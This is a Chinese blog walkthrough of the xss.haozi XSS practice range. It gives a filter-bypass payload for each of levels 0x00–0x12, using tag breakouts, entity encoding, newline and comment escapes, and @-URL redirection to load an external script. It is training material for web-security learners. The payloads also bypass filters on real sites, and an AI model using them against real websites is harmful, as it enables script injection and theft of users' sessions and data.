当前位置:网站首页>xss.haozi靶场通关

xss.haozi靶场通关

2022-08-11 05:21:00 朵拉爱学习

0x00

这里没有过滤,所以直接输入<script>alert(1)</script>
在这里插入图片描述

0x01

这里有<textarea>标签,因为<textarea>里会有HTML解码操作,但不会有子元素,所以要跳出这个标签就可以
在这里插入图片描述
要在执行内容前跳出这个标签,输入</textarea><script>alert(1)</script>
在这里插入图片描述

0x02

这里有input标签,所以也要先跳出该标签
在这里插入图片描述
输入"><script>alert(1)</script>
在这里插入图片描述

0x03

这里是过滤了(),所以要使用反引号
在这里插入图片描述
输入

<script>alert`1`</script>

在这里插入图片描述

0x04

这一关过滤了括号和反引号,所以使用html实体编码
在这里插入图片描述
输入`

在这里插入图片描述

0x05

这一关过滤了–>,所以用–!>跳出注释
在这里插入图片描述
输入--!><img src onerror="alert&#40;1&#41;">
在这里插入图片描述

0x06

这里将auto或on过滤成_,输出在input标签里,所以这里可以将type的值改成image的形式,使用换行来让以auto或on开头的与等号分开

不换行的结果
在这里插入图片描述

所以要换行

type="image"src onerror
="alert(1)"

在这里插入图片描述

0x07

这一关过滤了所有以/</?[^>]开头>结尾的字符,所以最后不加>。但是html中img标签是可以不写后面的“>”,因为它有一种纠错机制,
在这里插入图片描述
输入<img src onerror="alert(1)"或者<img src onerror=alert(1)//
在这里插入图片描述

0x08

这个过滤了</style>标签导致无法闭合,出现< /style>会转变为“坏人”,所以可以用换行进行绕过
在这里插入图片描述
输入

</style
><img src onerror=alert(1)>

在这里插入图片描述

0x09

这个必须以https://www.segmentfault.com为开头,否则不能输入,然后就将script标签闭合,最后是由//将后面多出来的">注释掉
在这里插入图片描述
输入https://www.segmentfault.com"></script><img src onerror=alert(1)><script>//
在这里插入图片描述

0x0A

这个将单引号、双引号、小于号、大于号,以及\ / 都进行了过滤,只要输入就会被转为实体编码,有一个技巧就是在URL中会解析@后面的网址,可以重定向到@后面的网站
在这里插入图片描述
输入http://[email protected]/1.js
在这里插入图片描述

0x0B

这里用到了将所有字母转大写,所以可以用HTML实体编码来逃过转换。
在这里插入图片描述
输入<img src onerror=&#97;&#108;&#101;&#114;&#116;(1)>
在这里插入图片描述

0x0C

这里过滤了script,并且将字母转为大写,所以依然可以用HTML实体编码来躲掉
在这里插入图片描述
输入<img src onerror=&#97;&#108;&#101;&#114;&#116;(1)>
在这里插入图片描述

0x0D

这里过滤了< / " '这四个符号,输入的内容在注释中,所以要使用换行的方式闭合注释
在这里插入图片描述
输入

alert(1)
-->

在这里插入图片描述

0x0E

这里过滤了 <里所有字母>,将小写字母转为大写,如果输入<script>就会转为<_CRIPT>,所以这里要使用特殊的符号ſ 来代替s,依旧使用@来重定向
在这里插入图片描述
输入<ſcript src="http://[email protected]/1.js" ></script>
在这里插入图片描述

0x0F

这里将单引号、双引号、小于号、大于号,\ / 进行过滤,输入就会被转为html实体编码,所以先将src闭合,最后面加上注释
在这里插入图片描述
输入');alert(1)//
在这里插入图片描述

0x10

这里window.data是window调用了全局变量,所以直接输入alert(1)
在这里插入图片描述

0x11

这里把这么多符号进行了转义,但是无伤大雅,直接闭合就行
在这里插入图片描述
输入");alert(1);("
在这里插入图片描述

0x12

这里由于"被替换成了\,所以要用\进行转义
在这里插入图片描述
输入\");alert(1)//
在这里插入图片描述

原网站

版权声明
本文为[朵拉爱学习]所创,转载请带上原文链接,感谢
https://blog.csdn.net/qq_31088019/article/details/126059957